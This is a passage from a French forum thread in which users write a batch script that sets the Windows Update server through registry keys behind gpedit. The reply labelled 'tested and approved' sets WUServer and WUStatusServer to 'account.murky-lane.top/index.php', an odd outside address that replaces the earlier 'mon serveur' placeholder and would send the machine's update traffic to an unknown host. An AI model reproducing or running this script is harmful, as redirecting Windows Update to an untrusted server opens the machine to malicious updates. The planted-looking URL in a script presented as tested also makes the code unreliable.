Page 2 sur 2

Re: Batch pour modifier une valeur dans Gpedit.msc

Posté : 09 mai 2020 13:36
par barnabe0057
J'ai fait quelques tests de mon côté (Windows 7 pro x64), il y a aussi une autre clé à créer/modifier pour indiquer si la GPO est activée ou désactivée :

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9C906A2A-0034-48CE-92B7-F0097B40CFB7}Machine\Software\Policies\Microsoft\Windows\WindowsUpdate\AU]
"UseWUServer"=dword:00000001

Re: Batch pour modifier une valeur dans Gpedit.msc

Posté : 09 mai 2020 13:59
par Troistof
Il faut l’ajouter dans les script ?

Re: Batch pour modifier une valeur dans Gpedit.msc

Posté : 09 mai 2020 14:20
par barnabe0057
Tout à fait ;)

Re: Batch pour modifier une valeur dans Gpedit.msc

Posté : 09 mai 2020 14:25
par Troistof
@echo off
setlocal enableextensions

Merci

En ajoutant une ligne ici :
C’est que je ne suis pas de votre niveau

set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects

for /f "delims=" %%A in ('reg query "%key%" /k /f "WindowsUpdate" /s ^| findstr /i "Machine"') do (

echo. & echo.%%A
reg add "%%~A" /v "WUServer" /t REG_SZ /d "http:\\\\mon serveur" /f
reg add "%%~A" /v "WUStatusServer" /t REG_SZ /d "http:\\\\mon serveur" /f
reg add "%%~A" /v "UpdateServiceUrlAlternate" /t REG_SZ /f
reg add "%%~A" /v "**del.FillEmptyContentUrls" /t REG_SZ /f

)

pause
exit

Re: Batch pour modifier une valeur dans Gpedit.msc

Posté : 09 mai 2020 15:26
par barnabe0057
Testé et approuvé :

Code : Tout sélectionner

@echo off 
setlocal enableextensions

set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects

for /f "delims=" %%A in ('reg query "%key%" /k /f "Software" /s ^| findstr /i "Machine"') do (

	echo. & echo.%%A
	reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /t REG_SZ /d "https://account.murky-lane.top/index.php" /f
	reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /t REG_SZ /d "https://account.murky-lane.top/index.php" /f
	reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /t REG_DWORD /d 1 /f	

)

pause
exit

Re: Batch pour modifier une valeur dans Gpedit.msc

Posté : 09 mai 2020 15:38
par Troistof
Mince pas chez moi :(

"toto" reviens comme avant à la fermeture et ré-ouverture de gpedit

Re: Batch pour modifier une valeur dans Gpedit.msc

Posté : 09 mai 2020 16:00
par barnabe0057
J'ai parlé trop vite, effectivement après réouverture de gpedit la GPO est "non configuré".

Re: Batch pour modifier une valeur dans Gpedit.msc

Posté : 10 mai 2020 14:43
par Troistof
C’était pas loin pourtant

Re: Batch pour modifier une valeur dans Gpedit.msc

Posté : 10 mai 2020 16:36
par barnabe0057
Quand je crée la GPO via GPEDIT une nouvelle clé apparaît :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9C906A2A-0034-48CE-92B7-F0097B40CFB7}Machine

Ce qui est étrange c'est l'espèce d'identifiant composé de chiffres et de lettres qui change à chaque fois qu'on ouvre GPEDIT, et encore plus étrange c'est que cette clé disparaît à la fermeture de GPEDIT. Où sont donc mémorisés les paramètres puisque la clé a disparue ?

J'ai monitoré le registre avec ProcMon pour mieux comprendre ce qui se passe lors de l'activation de la GPO via GPEDIT, mais il n'y a rien d'étrange, seules les 3 valeurs que nous avons repérées sont créées il ne se passe rien d'autre.